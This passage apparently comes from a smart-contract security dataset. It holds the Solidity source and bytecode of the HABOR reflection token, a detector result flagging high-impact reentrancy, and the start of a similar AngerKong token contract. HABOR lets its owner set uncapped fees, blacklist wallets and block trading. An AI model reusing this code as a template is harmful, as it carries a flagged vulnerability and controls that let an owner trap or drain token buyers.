function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HABOR is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HABOR";
string private constant _symbol = "HBT";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x74267FF23615dB3A885757c8C1E657d2F5CFcFa4);
address payable private _marketingAddress = payable(0x368eD3DEB0464bD65B9e0A9eb59A0C9f2494a231);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461054f578063dd62ed3e1461056f578063ea1644d5146105b5578063f2fde38b146105d557600080fd5b8063a2a957bb146104ca578063a9059cbb146104ea578063bfd792841461050a578063c3c8cd801461053a57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b411461047e57806398a5c315146104aa57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461194a565b6105f5565b005b34801561020a57600080fd5b506040805180820190915260058152642420a127a960d91b60208201525b6040516102359190611a0f565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a64565b610694565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611a90565b6106ab565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610235565b34801561032957600080fd5b5060155461028e906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611ad1565b610714565b34801561036957600080fd5b506101fc610378366004611afe565b61075f565b34801561038957600080fd5b506101fc6107a7565b34801561039e57600080fd5b506102bd6103ad366004611ad1565b6107f2565b3480156103be57600080fd5b506101fc610814565b3480156103d357600080fd5b506101fc6103e2366004611b19565b610888565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506102bd610418366004611ad1565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028e565b34801561045457600080fd5b506101fc610463366004611afe565b6108b7565b34801561047457600080fd5b506102bd60175481565b34801561048a57600080fd5b5060408051808201909152600381526212109560ea1b6020820152610228565b3480156104b657600080fd5b506101fc6104c5366004611b19565b6108ff565b3480156104d657600080fd5b506101fc6104e5366004611b32565b61092e565b3480156104f657600080fd5b5061025e610505366004611a64565b61096c565b34801561051657600080fd5b5061025e610525366004611ad1565b60106020526000908152604090205460ff1681565b34801561054657600080fd5b506101fc610979565b34801561055b57600080fd5b506101fc61056a366004611b64565b6109cd565b34801561057b57600080fd5b506102bd61058a366004611be8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c157600080fd5b506101fc6105d0366004611b19565b610a6e565b3480156105e157600080fd5b506101fc6105f0366004611ad1565b610a9d565b6000546001600160a01b031633146106285760405162461bcd60e51b815260040161061f90611c21565b60405180910390fd5b60005b81518110156106905760016010600084848151811061064c5761064c611c56565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068881611c82565b91505061062b565b5050565b60006106a1338484610b87565b5060015b92915050565b60006106b8848484610cab565b61070a843361070585604051806060016040528060288152602001611d9c602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111e7565b610b87565b5060019392505050565b6000546001600160a01b0316331461073e5760405162461bcd60e51b815260040161061f90611c21565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107895760405162461bcd60e51b815260040161061f90611c21565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107dc57506013546001600160a01b0316336001600160a01b0316145b6107e557600080fd5b476107ef81611221565b50565b6001600160a01b0381166000908152600260205260408120546106a59061125b565b6000546001600160a01b0316331461083e5760405162461bcd60e51b815260040161061f90611c21565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b25760405162461bcd60e51b815260040161061f90611c21565b601655565b6000546001600160a01b031633146108e15760405162461bcd60e51b815260040161061f90611c21565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109295760405162461bcd60e51b815260040161061f90611c21565b601855565b6000546001600160a01b031633146109585760405162461bcd60e51b815260040161061f90611c21565b600893909355600a91909155600955600b55565b60006106a1338484610cab565b6012546001600160a01b0316336001600160a01b031614806109ae57506013546001600160a01b0316336001600160a01b0316145b6109b757600080fd5b60006109c2306107f2565b90506107ef816112df565b6000546001600160a01b031633146109f75760405162461bcd60e51b815260040161061f90611c21565b60005b82811015610a68578160056000868685818110610a1957610a19611c56565b9050602002016020810190610a2e9190611ad1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6081611c82565b9150506109fa565b50505050565b6000546001600160a01b03163314610a985760405162461bcd60e51b815260040161061f90611c21565b601755565b6000546001600160a01b03163314610ac75760405162461bcd60e51b815260040161061f90611c21565b6001600160a01b038116610b2c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161061f565b6001600160a01b038216610c4a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161061f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d0f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161061f565b6001600160a01b038216610d715760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161061f565b60008111610dd35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161061f565b6000546001600160a01b03848116911614801590610dff57506000546001600160a01b03838116911614155b156110e057601554600160a01b900460ff16610e98576000546001600160a01b03848116911614610e985760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161061f565b601654811115610eea5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161061f565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2c57506001600160a01b03821660009081526010602052604090205460ff16155b610f845760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161061f565b6015546001600160a01b038381169116146110095760175481610fa6846107f2565b610fb09190611c9d565b106110095760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161061f565b6000611014306107f2565b60185460165491925082101590821061102d5760165491505b8080156110445750601554600160a81b900460ff16155b801561105e57506015546001600160a01b03868116911614155b80156110735750601554600160b01b900460ff165b801561109857506001600160a01b03851660009081526005602052604090205460ff16155b80156110bd57506001600160a01b03841660009081526005602052604090205460ff16155b156110dd576110cb826112df565b4780156110db576110db47611221565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112257506001600160a01b03831660009081526005602052604090205460ff165b8061115457506015546001600160a01b0385811691161480159061115457506015546001600160a01b03848116911614155b15611161575060006111db565b6015546001600160a01b03858116911614801561118c57506014546001600160a01b03848116911614155b1561119e57600854600c55600954600d555b6015546001600160a01b0384811691161480156111c957506014546001600160a01b03858116911614155b156111db57600a54600c55600b54600d555b610a6884848484611459565b6000818484111561120b5760405162461bcd60e51b815260040161061f9190611a0f565b5060006112188486611cb5565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610690573d6000803e3d6000fd5b60006006548211156112c25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161061f565b60006112cc611487565b90506112d883826114aa565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132757611327611c56565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611380573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a49190611ccc565b816001815181106113b7576113b7611c56565b6001600160a01b0392831660209182029290920101526014546113dd9130911684610b87565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611416908590600090869030904290600401611ce9565b600060405180830381600087803b15801561143057600080fd5b505af1158015611444573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611466576114666114ec565b61147184848461151a565b80610a6857610a68600e54600c55600f54600d55565b6000806000611494611611565b90925090506114a382826114aa565b9250505090565b60006112d883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611651565b600c541580156114fc5750600d54155b1561150357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061152c8761167f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061155e90876116dc565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461158d908661171e565b6001600160a01b0389166000908152600260205260409020556115af8161177d565b6115b984836117c7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115fe91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061162c82826114aa565b82101561164857505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116725760405162461bcd60e51b815260040161061f9190611a0f565b5060006112188486611d5a565b600080600080600080600080600061169c8a600c54600d546117eb565b92509250925060006116ac611487565b905060008060006116bf8e878787611840565b919e509c509a509598509396509194505050505091939550919395565b60006112d883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e7565b60008061172b8385611c9d565b9050838110156112d85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161061f565b6000611787611487565b905060006117958383611890565b306000908152600260205260409020549091506117b2908261171e565b30600090815260026020526040902055505050565b6006546117d490836116dc565b6006556007546117e4908261171e565b6007555050565b600080808061180560646117ff8989611890565b906114aa565b9050600061181860646117ff8a89611890565b905060006118308261182a8b866116dc565b906116dc565b9992985090965090945050505050565b600080808061184f8886611890565b9050600061185d8887611890565b9050600061186b8888611890565b9050600061187d8261182a86866116dc565b939b939a50919850919650505050505050565b60008261189f575060006106a5565b60006118ab8385611d7c565b9050826118b88583611d5a565b146112d85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161061f565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ef57600080fd5b803561194581611925565b919050565b6000602080838503121561195d57600080fd5b823567ffffffffffffffff8082111561197557600080fd5b818501915085601f83011261198957600080fd5b81358181111561199b5761199b61190f565b8060051b604051601f19603f830116810181811085821117156119c0576119c061190f565b6040529182528482019250838101850191888311156119de57600080fd5b938501935b82851015611a03576119f48561193a565b845293850193928501926119e3565b98975050505050505050565b600060208083528351808285015260005b81811015611a3c57858101830151858201604001528201611a20565b81811115611a4e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a7757600080fd5b8235611a8281611925565b946020939093013593505050565b600080600060608486031215611aa557600080fd5b8335611ab081611925565b92506020840135611ac081611925565b929592945050506040919091013590565b600060208284031215611ae357600080fd5b81356112d881611925565b8035801515811461194557600080fd5b600060208284031215611b1057600080fd5b6112d882611aee565b600060208284031215611b2b57600080fd5b5035919050565b60008060008060808587031215611b4857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b7957600080fd5b833567ffffffffffffffff80821115611b9157600080fd5b818601915086601f830112611ba557600080fd5b813581811115611bb457600080fd5b8760208260051b8501011115611bc957600080fd5b602092830195509350611bdf9186019050611aee565b90509250925092565b60008060408385031215611bfb57600080fd5b8235611c0681611925565b91506020830135611c1681611925565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c9657611c96611c6c565b5060010190565b60008219821115611cb057611cb0611c6c565b500190565b600082821015611cc757611cc7611c6c565b500390565b600060208284031215611cde57600080fd5b81516112d881611925565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d395784516001600160a01b031683529383019391830191600101611d14565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d7757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d9657611d96611c6c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203120d06b525f3e8ba7c6a4c6fc9a4ddeb60c1c35cdcd6eda96c07a14523e61f664736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 872 |
0x8ed2fc1d55562a2a6c23c04ecc1ac57f2be6cc1c | /**
●Telegram : https://t.me/AngerKongToken
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ANGERKONG is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "AngerKong";//
string private constant _symbol = "ANGERKONG";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 8;//
uint256 private _taxFeeOnBuy = 5;//
//Sell Fee
uint256 private _redisFeeOnSell = 5;//
uint256 private _taxFeeOnSell = 8;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x362e807dab938F221F53b539Ce98FbDd0Ae6b6ed);//
address payable private _marketingAddress = payable(0x362e807dab938F221F53b539Ce98FbDd0Ae6b6ed);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 125000 * 10**9; //
